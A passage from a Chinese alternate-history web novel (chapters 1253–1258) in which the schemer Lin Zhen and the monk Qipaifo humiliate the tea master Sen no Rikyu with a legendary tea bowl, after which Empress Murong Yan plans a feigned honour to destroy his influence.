但是他从周围那些倭国降将那,一个个,都像是打了鸡血的疯狗一般的狂热眼神里。 已经清清楚楚地,感受到了这只小小的茶碗所蕴含的,那恐怖的足以颠覆一切的,魔鬼般的力量! 他知道林臻这个小怪物,又要开始他那杀人不见血的神仙操作了。 他深吸一口气,那张邋遢的老脸上露出了一丝,认命般的苦涩笑容。 “够了。” “你小子,总是能给老夫整出一些意想不到的‘惊喜’。” 他一边说着,一边极不情愿地从林臻的手中,接过了那只在他看来比烫手的山芋还要烫手的绝世宝碗。 “说吧,”他有气无力地问道,“你又想让老夫怎么帮你,演这出戏了?” “很简单。” “晚辈想请您,假扮成一位来自于我大乾的隐世的茶道宗师。” “然后带着这只天下第一碗,去拜访一下我们那位,同样是天下第一的,千利休茶圣大人。” “哦?只是拜访这么简单?”棋牌佛挑了挑眉,他可不相信,这小子会这么好心。 “当然不止。”林臻的眼中闪烁着,如同狐狸一般的狡黠光芒。 “您在拜访他的时候,可以不经意地向他透露一个消息。” “就说,您之所以会不远万里地,来到这倭国弹丸之地。” “就是因为您听说这里,出了一位惊才绝艳的茶道天才。” “所以您想来,跟他切磋一下茶艺。” “顺便也想看看他到底有没有资格拥有这只,来自于你们共同的故乡的天下第一碗。” “切磋茶艺?”棋牌佛听得是一头雾水,“老夫可不会泡什么狗屁的茶。” “您不需要会。”林臻的笑容,变得愈发的,充满了阴谋的味道。 “因为您根本就不会跟他比。” “您只需要在他说出,他那套所谓的‘侘寂茶道’的最高奥义之后。” “然后再用一种充满了不屑和鄙夷的,高高在上的姿态告诉他。” “他那套所谓的‘最高奥义’,在我们大乾不过是三岁小儿都玩剩下,不入流的小把戏罢了。” “然后您再告诉他。” “真正的茶道其最高境界,并非是那虚无缥缥的侘寂。” “而是权!” “是那种可以一言而决人生死,一念而定国兴衰的无上的帝王之权!” “您就告诉他,”林臻的声音变得愈发地充满了魔鬼般的诱惑力,“我大乾的皇帝陛下和摄政王殿下,对他那所谓的‘茶道’,很感兴趣。” “想请他来安土城喝杯茶,聊聊天。” “顺便也想问问他。” “他到底是想继续当一个只能在自己的小茶室里,孤芳自赏的茶圣。” “还是想成为一个可以像您一样,手握天下第一碗,一言而决天下事的茶中帝王!” “您说,”他看着棋牌佛那早已是听得目瞪口呆的滑稽表情,脸上露出了一个无比得意的笑容。 “我们这位心高气傲,自命不凡的‘茶圣’大人,在听完您这番话后。” “他会怎么选?” 第1253章 这活我不接 棋牌佛彻底傻眼了,他呆呆地看着林臻,又看了看手里这只小小的茶碗,感觉自己的脑子完全不够用了。 他活了上千年,什么大风大浪没见过? 可今天,他算是彻底被眼前这个年轻人的操作给秀懵了。 用一只碗,去瓦解一个国家最顽固的抵抗势力? 用几句听起来云里雾里的话,去操控一个国家所有上层人物的思想和审美? 这……这是人能干出来的事吗? 他看着林臻那张年轻英俊,却又透着一股子妖异邪气的脸,第一次发自内心地觉得,或许这个小子真的不是什么“变数”,他根本就是这个世界的“天道”本身! 一种专门来收拾他们这些,自以为是的“老神仙”的更高级的天道! “小子……你……”棋牌佛张了张嘴,想说点什么,却发现自己的喉咙干得厉害,一个字也说不出来。 他只能认命似的摇了摇头,把那只在他看来比催命符还可怕的茶碗,又递回给了林臻。 “这活儿,老夫干不了。”他有气无力地说道,“你还是另请高明吧。老夫这点道行,在你这个小怪物面前,就是个笑话。老夫怕还没见到那个什么茶圣,就先被你给玩死了。” 他是真的怕了。 他宁愿去跟奥斯曼土耳其那二十万铁骑硬碰硬,也不想再跟眼前这个,心思比十八层地狱还深的妖孽,玩这种烧脑子的心眼游戏了。 太他娘的累人了! 然而,林臻却是没有接那只碗。 他只是笑着看着他,那眼神,就像在看一个正在闹别扭的,不听话的小孩子。 “老前辈,您这可就言重了。”他笑着说道,“这世上能把您玩死的人,恐怕还没出生呢。晚辈这点微末伎俩,在您老人家面前,不过是班门弄斧,贻笑大方罢了。” “晚辈之所以请您出马,并非是想为难您。而是因为,放眼整个天下,也只有您,才有这个资格,也只有您,才有这个能力,去完成这件,看似不可能完成的惊天大事!” “哦?”棋牌佛闻言,那双浑浊的老眼里,闪过了一丝好奇。 他倒想听听,这个小子,又能给他灌什么迷魂汤了。 林臻没有立刻回答,而是将目光,转向了那个从始至终,都只是静静地依偎在他的怀里,用一种充满了崇拜和好奇的目光,看着他的绝美女子。 “嫣儿,”他柔声问道,“你觉得,什么样的男人才算得上是真正的男人?” 慕容嫣被他这突如其来的问题,问得微微一愣。 她看着自己夫君那双,如同星辰大海一般,深邃而又迷人的眼睛那张绝美的俏脸之上,不由得浮现出了一抹幸福的红晕。 她想了想,然后用一种充满了爱意的,温柔声音回答道:“当然是像夫君你这样的。” “会打仗,会赚钱,会疼老婆,还会……给孩子取名字。” 她这番充满了情人之间甜蜜的回答,让一旁的岳飞和伊丽莎白,都忍不住起了一身的鸡皮疙瘩。 而棋牌佛则更是撇了撇嘴,一脸的嫌弃。 “行了行了,你俩要撒狗粮滚回自己房间里去撒。老夫这把老骨头,可经不起你们这么折腾。” 然而,林臻却像是根本没有听到他的抱怨一般。 他只是笑着,刮了刮慕容嫣那小巧挺翘的鼻尖,然后用一种,充满了循循善诱的魔鬼般的声音,继续说道: “那如果我告诉你。这个世界上还有一种男人。他不需要会打仗,也不需要会赚钱。他甚至连自己的国家都保护不了。” “他唯一会的,就是用他手中的那杯茶,和他那套看似无用的繁琐礼仪,就能让全天下最强大的君主最勇敢的武士,都心甘情愿地跪在他的面前,听他讲那些虚无缥缥的大道理。” “他的一句话,就能决定一件绝世宝物的价值。” “他的一个眼神,就能决定一个地方大名的荣辱兴衰。” “他甚至能用他那所谓的‘审美’和‘品味’,兵不血刃地就瓦解掉一个,足以让任何军队都感到头疼的,强大势力。” “你说,”他的目光,缓缓地落在了棋牌佛那张,已经写满了震惊和若有所思的,邋遢老脸上,“这样的一个男人,他算不算得上是真正的男人?” 整个大厅,再一次陷入了死一般的寂静。 所有人都被林臻的这番,堪称是“惊世骇俗”的言论,给彻底地震惊到了! 他们怎么也没想到。 一个人的“品味”和“审美”,竟然也能成为一种,如此可怕的杀人于无形的武器! 这已经完全超出了他们,对这个世界的认知! “小子……”棋牌佛看着林臻,那双浑浊的老眼里,第一次浮现出了一抹名为“敬佩”的情绪。“老夫收回刚才的话。” “你不是怪物。” “你他娘的,就是个从地狱里爬出来的,专门玩弄人心的绝世魔鬼!” 他一边说着,一边又一次从林臻的怀里,接过了那只,在他看来已经不再是烫手山芋,而是充满了无尽的诱惑和挑战的绝世宝碗。 “这活儿,老夫接了!”他猛地灌了一大口酒,那双浑浊的老眼里,燃起了熊熊的前所未有的,滔天战意! “老夫倒要看看!” “是你这个来自于另一个世界的绝世魔鬼厉害!” “还是那个用一杯茶,就想掌控天下的倭国茶圣,更胜一筹!” 棋牌佛最终还是被林臻说动了,或者说,是被林臻描绘的那种“杀人于无形”的至高境界给吸引了。 他活了上千年,什么都玩过了,就是没玩过这种高端局。用嘴皮子,用所谓的“雅”,去操纵一个国家的兴衰,去决定一群枭雄的生死。 这听起来,可比他自己动手打打杀杀,要刺激多了。 慕容嫣看着棋牌佛拿着那只曜变天目碗,一脸跃跃欲试的疯癫模样,心里还是觉得有点不踏实。 她挨着林臻,小声地在他耳边嘀咕:“夫君,这老和尚疯疯癫癫的,真的靠得住吗?万一他把事情搞砸了怎么办?” 林臻低头,在她耳边轻轻吹了口气,惹得她一阵轻颤,才笑着说: “放心吧,嫣儿。这种活了一千多年的老怪物,心里比谁都精。他不是疯,他是活得太久,太无聊了,想找点乐子。而我们正好给了他一个这世上最好玩的乐子。” 第1254章 实在是太狂妄了 慕容嫣-嫣似懂非懂地点了点头。 她看着自己夫君那张,总是充满了自信和算计的侧脸,心里那点不安,也就慢慢地平复了下去。 她知道,只要有这个男人在,天塌下来,他都能当被子盖。 她身上那件作为唯一寝衣的神凤降世裙,在这充满了权谋算计的议事大厅里,显得愈发深沉。 极致玄黑的苏锦底料,在厅内烛火的映照下,流淌着一层不易察觉的暗光,仿佛将所有的阴谋和欲望,都悄无声息地吸了进去。 那只用真金线绣成的擎天巨凤,安静地盘踞在她的身上,凤目微阖,像是在闭目养神,又像是在冷眼旁观着这场,即将上演的以整个倭国为棋盘的惊天大戏。 “明智光秀。”林臻的声音,将慕容嫣的思绪拉了回来。 “微臣在!”刚刚才被册封为“倭国总督”的明智光秀,连忙又跪了下去,那姿态,恭敬得不能再恭敬了。 “你立刻派人,以我的名义,给那位千利休茶圣,送去一份请柬。”林臻的嘴角,勾起了一抹玩味的笑容, “就说,我大乾摄政王久闻他茶道通神,特意派了一位我大乾的得道高僧,前来与他切磋茶艺。时间就定在三日之后。地点就在他的茶室‘待庵’。” “另外,”他话锋一转,那双深邃的眼睛里,闪过了一丝冰冷的寒光,“你再替我给他带一句话。” “就说那只失传已久的天下第一碗,‘稻叶天目’,现在就在我这位高僧的手里。” “他若是有胆就来会一会。” “若是没胆,那就让他永远也别再碰茶了。” 林臻的这番话,说得是狂妄至极也嚣张至极! 简直就是赤裸裸地把战书直接甩到了千利休的脸上! 明智光秀听得是心惊肉跳,冷汗直流。 他怎么也没想到,这位天朝王爷,行事风格竟然会如此的霸道和直接。 他这是在逼宫啊! 他这是在逼着千利休,那个心高气傲,自命不凡的老茶头,不得不接下这场关系到他一生声誉和地位的生死豪赌! “王……王爷……”明智光秀壮着胆子,小心翼翼地说道,“千利休大师他性情孤高,最不喜被人强迫。您……您这么做,会不会适得其反?万一,他要是……” “没有万一。”林臻却是毫不犹豫地打断了他的话。 他看着明智光秀,那张写满了担忧的脸,冷笑了一声。 “明智光秀,你还是不了解像千利休那样的人。” “他们这种靠着虚名和声望,爬到金字塔顶端的人,最在乎的是什么?” “不是金钱,也不是权力。” “而是他们那点可怜的所谓的‘脸面’和‘尊严’!” “我今天就是要当着全天下人的面,把他那张被无数人吹捧上天的‘圣人’脸皮给狠狠地踩在脚下!” “我就是要让他知道,在他引以为傲的那个领域里,有人比他更强!有人比他更懂!” “只有这样才能彻底地,击垮他的心理防线!” “只有这样他才会,心甘情愿地跪在我的面前,当一条最听话的狗!” 林臻的这番话如同最锋利的尖刀,一刀一刀地剖析着人性的丑陋和阴暗。 让在场的所有人都听得是,脊背发凉,不寒而栗! 他们看着那个坐在主位之上,一脸云淡风轻仿佛在说一件微不足道的小事的年轻王爷。 第一次发自灵魂深处地,对他产生了一种近乎于神明般的,绝对的敬畏和恐惧! 他们知道从林臻说出这番话的那一刻起。 千利休,那个被全倭国都奉为神明的“茶圣”,他的命运就已经注定了。 …… 京都,堺市。 千利休的茶室“待庵”之内。 这位被誉为“茶道之神”的老人,正一个人静静地跪坐在那小小的,不足两叠的茶室之中。 他的面前摆着一套由他亲手制作的,看起来粗糙不堪,甚至有些丑陋的黑色乐烧茶碗。 他的神情专注而又虔诚。 仿佛他面对的不是一套普通的茶具。 而是一个可以与天地对话,与神明沟通的神圣祭坛。 然而就在这时。 一阵急促的脚步声却突然打破了这份宁静。 “老师!老师!不好了!” 他的大弟子山上宗二,一脸惊慌地从门外冲了进来。 “何事如此慌张?”千利休缓缓地睁开眼睛,那双总是充满了“侘寂”之美的,浑浊老眼之中,闪过了一丝,不易察觉的不悦。 “是……是安土城那边,派人送来了一封请柬!”山上宗二喘着粗气,声音里充满了无法掩饰的震惊和恐惧! “是那个刚刚才占领了安土城,自称是‘大乾摄政王’的天朝人!” “他说……他说他派了一位,来自天朝的得道高僧,要来跟您……跟您切磋茶艺!” “而且……而且他还说……” 山上宗二说到这里,声音都开始颤抖了起来。 “他还说那只失传已久的天下第一名碗,‘稻叶天目’,就在那位高僧的手里!” “什么?!” 千利休那张总是古井不波,仿佛对世间一切都漠不关心的老脸之上,第一次浮现出了一抹名为“震惊”的情绪。 他猛地从地上站了起来,那双浑浊的老眼,死死地盯着自己的弟子声音里充满了难以置信的骇然! “稻叶天目?!你确定,你没有听错?!” “千真万确!老师!”山上宗二肯定地点了点头,那张因为惊慌而变得煞白的脸上,全是无法掩饰的狂热和激动!“送信来的那位,是新上任的摄政关白,明智光秀大人!是他亲口说的!” “而且,他还说……那位天朝王爷,给您带了一句话。” “什么话?”千利休的心,猛地提了起来。 “他说……您若是有胆,就去会一会那位高僧。若是没胆……”山上宗二艰难地咽了口唾沫,才用一种,近乎于耳语的声音说道,“那就让您永远也别再碰茶了。” “轰——” 这句话像一道九天之外的混沌神雷,狠狠地劈在了千利休的天灵盖上! 他整个人都傻了。 他呆呆地站在原地,那张布满了皱纹的老脸之上,血色尽失! 他感觉自己的整个世界,都在这一刻,轰然崩塌! 狂妄! 实在是太狂妄了! 第1255章 一拳给你轰碎 他千利休纵横倭国茶道数十年,被无数的大名和武士奉为神明一般的存在。 何曾受过如此赤裸裸的羞辱和挑衅?! 让他永远也别再碰茶了? 这简直比直接杀了他,还要更加的让他感到难受和屈辱! “岂有此理!简直是岂有此理!” 一股前所未有的滔天怒火,瞬间从他的心底熊熊燃起! 他那双浑浊的老眼在这一刻,迸发出了骇人的冰冷寒光! “欺人太甚!实在是欺人太甚!” “他以为他是谁?一个不知从哪里冒出来的蛮夷王爷,也敢在我千利休的面前,如此的放肆?!” “他真以为靠着船坚炮利,打下了几座城池就能在这片土地上,为所欲为了吗?!” “他这是在自取其辱!” “老师,那……那我们……”山上宗二看着自己老师那副,暴跳如雷的模样也是被吓得不轻。 他还是第一次看到自己这位一向是以“清静无为”而著称的老师,会发这么大的火。 “去!给我回话!”千利休猛地一挥袖子,那声音里充满了不容置疑的决绝和傲慢! “告诉那个不知天高地厚的蛮夷王爷!” “三日之后,待庵之内,老夫恭候他那位‘得道高僧’的大驾!” “老夫倒要看看!” “他那所谓的天朝茶道。” …… 三日之后,待庵。 这座象征着倭国茶道最高境界的,小小的茅草屋之外,早已是人山人海,戒备森严。 几乎所有在京的有头有脸的大名和武士,都闻讯赶来。 他们都想亲眼见证一下这场堪称是“世纪之战”的,巅峰对决! 一方是倭国茶道之神,被誉为“茶圣”的千利休。 另一方则是来自于遥远的天朝上国,据说手握着“天下第一碗”的神秘得道高僧。 这场对决的胜负,不仅仅关系到他们两个人的声誉。 更关系到整个倭国和那个刚刚才降临的,强大的征服者之间,在文化和精神层面的第一次,也是最重的一次正面交锋! 所有人的心里都充满了紧张和期待。 他们既希望他们所敬仰的“茶圣”大人,能够挫败那个外来者的嚣张气焰,捍卫他们倭国茶道的无上尊严。 却又隐隐地有些害怕。 害怕那个总是能创造出各种匪夷所思奇迹的,神秘的天朝王爷这一次又会给他们带来什么样的颠覆性“惊喜”。 就在所有人都屏住了呼吸,翘首以盼的时候。 一顶看起来平平无奇的青布小轿,在数十名身穿黑色劲装气势肃杀的神秘护卫的簇拥之下,缓缓地,来到了待庵的门前。 轿帘掀开。 一个身穿破烂袈裟光着脑袋,手里还提着个脏兮兮的酒葫芦的独臂老和尚,从轿子里晃晃悠悠地走了下来。 正是棋牌佛。 当在场所有倭国大名看到这位,就是传说中要来挑战他们“茶圣”的“天朝高僧”,竟然是这么一副邋里邋遢,疯疯癫癫的酒肉和尚的模样时。 所有人的下巴都惊得差点没直接掉在地上! 他们一个个都用一种看傻子一般的眼神看着棋牌佛。 那眼神里充满了毫不掩饰的鄙夷和嘲讽。 “这……这就是,那个什么天朝来的高僧?” “开什么玩笑?这分明就是一个,从哪个犄角旮旯里跑出来的,骗吃骗喝的老叫花子吧?” “是啊,你看他那副德行,哪有半点出家人的样子?简直是给我们佛门丢脸!” “哼,我看那个天朝王爷,就是故意派这么个货色来,羞辱我们茶圣大人的!” “没错!我们绝对不能让他得逞!我们……” 然而,就在他们,还在义愤填膺地,窃窃私语的时候。 那个在他们眼中,如同“老叫花子”一般的邋遢和尚,却突然做出了一个让所有人都意想不到的,惊人举动。 他晃晃悠悠地走到了待庵那,只有半人多高的被称为“躏口”的,狭小入口前。 然后他连看都懒得看一眼那,象征着“谦卑”和“平等”的,茶道圣地的入口。 他只是抬起了他那只仅剩的独臂。 然后对着那扇由最名贵的竹子,所打造而成的精致障子门。 一拳! 狠狠地轰了出去! “轰——” 一声巨响! 那扇在所有茶道中人看来,比自己的性命还要更加神圣的障子门。 就这么被他用一种最粗暴,也最野蛮的方式给干脆利落地,直接轰成了漫天碎片! 整个待庵之外,瞬间陷入了一片死一般的寂静。 所有人都像是被施了定身法一样,呆呆地看着那个一拳轰碎了茶室大门的邋遢和尚,脑子里一片空白。 疯了! 这个和尚一定是疯了! 他怎么敢? 他怎么敢用如此粗暴野蛮的方式,去亵渎这座在他们心中,如同神殿一般,神圣不可侵犯的茶道圣地?! 这是赤裸裸的挑衅! 这是对他们整个倭国茶道最恶毒的羞辱! “八嘎!你这个该死的秃驴!” “杀了他!杀了他!为茶圣大人报仇!” 在经历了短暂的死一般的寂静之后,人群之中瞬间爆发出了一阵阵,充满了无尽的愤怒和杀意的震天咆哮! 无数的武士,下意识地就拔出了腰间的武士刀,便想冲上去,将这个不知死活的疯和尚给当场碎尸万段! 然而他们还没冲出两步。 数十个身穿黑色劲装的神秘护卫,便如同鬼魅一般,悄无声息地出现在了他们的面前。 他们手中的武器,冰冷而又致命。 那充满了死亡气息的森然杀意,像一座无形的大山,狠狠地压在了所有人的心上! 让他们连一丝一毫的反抗念头,都生不出来! 而就在这剑拔弩张,一触即发的紧张时刻。 一个苍老而又充满了威严的声音,却突然从那早已是一片狼藉的茶室之内,缓缓地传了出来。 “都住手。” 是千利休。 只见他缓缓地,从那破碎的门洞之中,走了出来。 他那张总是充满了“侘寂”之美的老脸上,此刻却是布满了万年不化的冰霜。 他那双浑浊的老眼死死地盯着那个,正一脸玩世不恭地看着他的邋遢和尚。 那眼神里充满了冰冷的滔天的怒火! “阁下就是那位,来自于天朝上国的得道高僧?” 他的声音沙哑得,像两块生锈的铁片在相互摩擦。 “高僧不敢当。”棋牌佛撇了撇嘴,又灌了一大口酒,然后用一种充满了不屑和鄙夷的慵懒语气说道,“老夫只是一个,喜欢喝喝酒,下下棋的,糟老头子罢了。” 第1256章 刚见面就输了 “倒是你,”他上下打量了一眼,千利休那身由最粗糙的麻布,所缝制而成的朴素茶人服,脸上露出了一丝毫不掩饰的嘲讽。 “穿得这么寒酸,搞得这么个小黑屋子。” “不知道的还以为你家里是穷得揭不开锅了呢。” “你!”千利休被他这番,充满了侮辱性的言语,气得是浑身发抖! 他强行压下心中的怒火,冷冷地说道:“阁下既是为切磋茶艺而来,又何必如此的出言不逊,毁我茶室?” “切磋茶艺?”棋牌佛闻言,却是发出了一声更加不屑的冷笑。 “就凭你这套过家家似的小把戏,也配跟老夫切磋?” 他说着便将手中那只,脏兮兮的酒葫芦随手扔在了地上。 然后极其不情愿地,从自己那破烂的袈裟里取出了那只,足以让全天下所有茶道中人都为之疯狂的绝世宝碗。 ——曜变天目碗! 他将那只在他看来不过是个漂亮小碗的绝世神物,像丢垃圾一样,扔在了千利休的面前。 “喏,那个小子,让老夫带给你的。” “他说这玩意儿,在你这种只知道故弄玄虚的,假文青手里简直就是暴殄天物。” “只有真正懂得权之大道的人,才配拥有它。” “权?”千利休看着地上那只,在阳光下闪烁着如同浩瀚宇宙般,璀璨光芒的绝世宝碗。 又听着耳边那如同魔鬼低语一般的,充满了无尽诱惑的言语。 他整个人,都彻底地傻了。 他呆呆地站在原地,那张布满了皱纹的老脸之上写满了无法用言语来形容的,震惊、茫然,和一丝,连他自己都未曾察觉的深深渴望! 权? 帝王之权? 一言而决人生死一念而定国兴衰? 这……这才是茶道的最高境界? 一股前所未有的巨大的,颠覆性的思想洪流瞬间冲垮了他,那坚守了一辈子的所谓的“侘寂”之道! 他那颗自以为早已是古井不波,看破红尘的“圣人”之心,在这一刻不受控制地剧烈地燃烧起来! 他想到了那个坐在安土城最高处,谈笑之间便将整个倭国,都玩弄于股掌之上的神秘东方王爷。 他又想到了自己。 一个只能躲在这小小的不足两叠的茶室里,靠着那些虚无缥缈的“规矩”和“品味”,来维持自己那点可怜的“圣人”尊严的糟老头子。 两相对比高下立判! 他输了。 他输得一败涂地。 他那所谓的“侘寂”之道,在人家那真正的可以掌控别人生死的,无上的“帝王之权”面前。 显得是那么的可笑和不堪一击! “噗——” 一口殷红的鲜血,猛地从他的口中,狂喷而出! 他那苍老而又佝偻的身体,再也支撑不住,那早已是千疮百孔的精神世界崩塌。 “噗通”一声,重重倒在了地上。 那双浑浊的老眼死死地盯着地上那只,仿佛在嘲笑着他无知和渺小的绝世宝碗。 那眼神里充满了无尽的不甘、悔恨,和一丝疯狂的渴望! 他知道自己完了。 他这一辈子所建立起来的所有的一切,都在今天被这个来自于遥远东方的神秘征服者,给彻彻底底地碾碎了。 而就在这时。 那个在他眼中,如同魔鬼一般的邋遢和尚,又一次晃晃悠悠地走到了他的面前。 他居高临下地看着他,那张玩世不恭的脸上露出了一丝充满了怜悯和嘲讽的古怪笑容。 “老头子,”他的声音悠悠地响起,像一把无情的铁锤,狠狠地敲在了千利休那早已是破碎不堪的心上。 “那个小子,还让老夫给你带了最后一句话。” “他说想学啊?” “想学,我教你啊。” ...... 待庵之外,死一般的寂静。 方才还被无数大名奉若神明,高高在上的“茶圣”千利休,此刻就像一条被抽去了脊梁骨的老狗,瘫软在尘埃里。 身前那片衣襟,被他自己喷出的鲜血染得红黑一片,触目惊心。 所有围观的倭国大名、武士全都傻了大脑一片空白。 输了? 他们所敬仰被奉为倭国精神支柱的茶圣大人,就这么输了? 输给了一个看起来疯疯癫癫,满嘴胡言乱语的独臂邋遢和尚? 而且还是以这种最彻底、屈辱的方式,被人用他最引以为傲的“茶道”给活活地气到吐血昏死? 这……这怎么可能?! 这简直比当着他们的面,一刀砍下千利休的脑袋还要让他们感到崩溃! “妖……妖僧!你这个妖僧!” 死寂之中终于有人反应过来指着门内那道身影,发出了愤怒又夹杂着恐惧的嘶吼。 “你到底对茶圣大人做了什么?!” “杀了他!为茶圣大人报仇!” 他们虽然不知道那间不足两叠的小小茶室里,究竟发生了什么惊心动魄的对决。 但他们却亲眼看见他们心中的“神”,倒下了。 而将他们的“神”拉下神坛的罪魁祸首,就是眼前这个看起来人畜无害甚至有些滑稽的独臂老和尚! 然而面对那如同潮水般汹涌而来的愤怒和杀意。 棋牌佛的脸上却连半分波澜也无。 他只是不屑地撇了撇嘴,然后晃晃悠悠地从那破碎的门洞里,将那只在阳光下依旧闪烁着宇宙般璀璨光芒的绝世宝碗捡了起来。 在所有人惊骇的注视下他将那只在他们看来比自己性命还要珍贵的“天下第一碗”,像拿一个普通的饭碗一样随手在自己那破烂不堪的袈裟上擦了擦。 那上面还沾着些许昨夜的油污。 这还没完。 他当着所有人的面,做出了一个让所有人都肝胆俱裂的举动。 他竟然就这么端着这只价值连城的绝世宝碗,走到屋檐下那肮脏的水洼边,随随便便地舀起了一碗浑浊不堪的泥水。 水里甚至还漂着几片烂树叶。 然后他仰起头“咕咚咕咚”地,将那碗泥水一饮而尽! “嗝——” 喝完之后他还心满意足地打了一个响亮的饱嗝,一股泥腥味儿瞬间弥漫开来。 他用一种看穿一切又充满了怜悯和嘲讽的目光,扫了一眼地上那个不知死活的千利休。 又扫了一眼周围那些早已被他这番惊世骇俗的“神仙操作”,给彻底吓傻了的倭国大名们。 “一群连什么是‘道’都不知道的可怜虫。” 他摇了摇头,然后将那只在他看来已经失去了所有利用价值的“天下第一碗”,像丢一块碍事的破烂一样随手扔在了地上。 “哐当——!” 第1257章 棋牌佛大师成功了 一声无比清脆的声响。 那只足以让全天下所有茶道中人,都为之疯狂的绝世神物就这么丢在地上。 所有倭国大名在看到那“天下第一碗”落地时,只觉得自己的心脏也跟着一起碎了。 一股前所未有名为“信仰崩塌”的冰冷的绝望,瞬间席卷了他们的全身! 他们知道,完了。 他们倭国那所谓传承了数百年的“茶道精神”,也跟着一起陨落了。 …… 与此同时“黑珍珠号”之上。 慕容嫣一个人静静地站在那无比奢华的船长室里,那双美丽的凤眸透过巨大的水晶舷窗,遥遥望着远处那片漆黑如墨的倭国大陆。 她的心里乱成了一团麻。 一个多时辰了。 那个疯疯癫癫的老和尚还没有回来。 京都那边也依旧是没有任何消息传来。 夫君的那个计划到底能不能成功?那个老和尚真的靠得住吗? 万一他要是把事情搞砸了,那他们这次可就真的玩脱了。 担忧的念头接连冒出来搅得她心神不宁。 她今日依旧是穿着那身作为她唯一寝衣的神凤降世裙,极致玄黑的苏锦底料在这安静的船长室里,仿佛变成了一片深邃而压抑的无边黑夜。 那只用真金线绣成的擎天巨凤,也仿佛感受到了主人的焦躁不安,金色的凤目之中充满了警惕和担忧。 就在这时一阵急促的脚步声,突然从门外响起。 “陛下!” 是伊丽莎白。 她甚至都来不及行礼便一脸兴奋地冲了进来,俏脸涨得通红。 “陛下!天大的好消息!” “京都那边刚刚传来消息!” 伊丽莎白激动得有些语无伦次,一边说一边手舞足蹈地比划着。 “那个老神棍……哦不,是那位棋牌佛大师他成功了!” “他把那个什么狗屁‘茶圣’千利休,给活活地,气到当场喷血昏死过去了!” “哈哈哈!陛下您是没看到那场面!据说那些亲眼目睹的大名和武士,一个个都像是死了爹娘一样,跪在待庵门口哭天抢地喊着他们的‘神’死了,他们的‘道’也崩了!” “简直比咱们弗朗机最有名的滑稽剧还要精彩一百倍!” 她早就看那个故弄玄虚的老茶头不顺眼了。 现在听到他被那个同样神神叨叨的老和尚给活活气晕,她只觉得这辈子都没听过比这更解气、好笑的事情了。 然而慕容嫣在听到这个消息时,那张一直紧绷着的绝美俏脸之上,非但没有露出半分喜悦。 反而变得更加凝重。 伊丽莎白的笑声也渐渐地停了下来,有些不解地看着自己的女皇。 “气晕了?” 慕容嫣喃喃自语那双美丽的凤眸之中,闪过了一丝冰冷的寒光。 “那个老狐狸就这么容易倒下了?” 以她对千利休这种人的了解,能爬到今天这个位置,心性之坚韧绝非常人可比。 怎么会如此不堪一击? 她总觉得事情没有那么简单。 她缓缓地走到那巨大的堪舆图前,那双美丽的凤眸死死地盯着地图上“京都”那两个字。 她的脑子里正在飞速地运转着。 千利休那个被全倭国都奉为“茶道之神”的老狐狸。 一个能凭借一杯茶,就将无数枭雄玩弄于股掌之间的顶级权谋家。 他的心性怎么可能会如此的脆弱? 会因为几句言语上的羞辱和一只茶碗就被气到吐血昏死? 这不合常理。 除非…… 除非他是故意的! 他是在用这种“装死”的方式来向自己向大乾,表达他最后的也是最决绝的不合作的态度! 他是在用自己的“倒下”来唤醒那些,还沉浸在“茶道”这种虚无缥或者的精神世界里的倭国大名们! 他是在告诉他们他们的“神”已经死了,他们的信仰也已经崩塌了。 接下来他们要么就跟着他一起,与大乾这个外来的征服者抗争到底! 要么就彻底地抛弃那些可笑的“风雅”,重新拿起刀剑,用最原始也最血腥的方式,去捍卫他们那所谓的“武士道”尊严! 好一招“以退为进,置之死地而后生”! 好一个宁为玉碎,不为瓦解的千利休! 想明白了这一点慕容嫣那双美丽的凤眸之中,瞬间迸发出了骇人的冰冷的滔天杀意! 她知道自己还是小看了这个倭国的老茶头。 也小看了他那所谓的“茶道”,对这个国家根深蒂固的影响力。 她原本以为只要击垮了千利休这个精神领袖,就能轻而易举的从文化和思想上彻底地征服这个国家。 可她万万没有想到。 这个老狐狸竟然会在最后关头用自己的“死”,来给自己布下了这么一个歹毒而又致命的惊天棋局! 他这是要用自己的死,来点燃整个倭国的反抗之火啊! “来人!” 她猛地转过身,那声音冰冷得不带一丝一毫的感情。 “陛下!” 门外两名身穿黑色飞鱼服的锦衣卫,如同鬼魅一般悄无声息地出现在了门口。 “传朕的旨意!” 她走到那张华丽的鲸骨座椅前缓缓地坐了下去。 她身上那件作为唯一寝衣的神凤降世裙也仿佛感受到了她内心的滔天杀意。 那极致玄黑的苏锦底料在略显昏暗的光线下,仿佛变成了一片即将要掀起惊涛骇浪愤怒的黑色海洋,那只用真金线绣成的擎天巨凤,更是凤目圆睁杀气腾腾! 仿佛随时准备从那黑色的海洋之中挣脱而出! 将所有敢于违抗它主人意志的敌人都撕成碎片! “立刻派人将那个不知死活的老茶头给朕‘请’到安土城来!” 她的嘴角勾起了一抹冰冷的充满了无尽残忍的弧度。 “他不是喜欢装死吗?” “那朕就让他,求生不得求死不能!” “朕倒要看看是他那所谓的‘茶道’硬,还是我大乾的锦衣卫的诏狱更硬!” 伊丽莎白听着慕容嫣这番充满了血腥和杀伐之意的命令,那张美艳的俏脸之上也是忍不住浮现出了一抹深深的忌惮。 她知道这位看似美艳动人的东方女皇,是真的动了杀心了。 那个倒霉的老茶头,这次恐怕是真的要倒大霉了。 然而就在她以为慕容嫣会用最残酷的酷刑来折磨那个老茶头的时候。 慕容嫣接下来的话却又一次让她和那两名锦衣卫都大跌眼镜。 “另外”慕容嫣的话锋一转,那双冰冷的凤眸之中闪过了一丝旁人难以读懂的狡黠光芒,“你们在‘请’他来的时候记得要客气一点。” “不仅要用我们大乾最顶级的八抬大轿去抬他。” “更要昭告全天下!” “就说我大乾女皇陛下久闻千利休茶圣德高望重茶艺通神。特意三顾茅庐请他出山,担任我大乾帝国新成立的‘皇家茶道院’第一任院长!” “负责教化我大乾以及所有藩属国的子民,那至高无上的‘茶之大道’!” “什么?!” 第1258章 对圣人最恶毒的惩罚 伊丽莎白和那两名锦衣卫都彻底傻了。 他们呆呆地看着慕容嫣感觉自己的脑子完全不够用了。 请那个老茶头当什么“皇家茶道院”的院长? 还要昭告全天下? 陛下她……她这是什么意思? 前一刻还喊打喊杀要让人家求生不得求死不能。 下一刻怎么就突然要给人家加官进爵封为“国师”了? 这变脸的速度也太快了吧? 然而慕容嫣看着他们那副活见鬼的表情,脸上却是露出了一丝高深莫测的笑容。 她知道他们不懂。 他们不懂什么叫杀人诛心。 他们更不懂什么叫真正的帝王之术! 她就是要用这种看似“恩宠”,实则“捧杀”的方式,彻底地瓦解掉那个老狐狸和他那所谓的“茶道”在倭国的所有影响力! 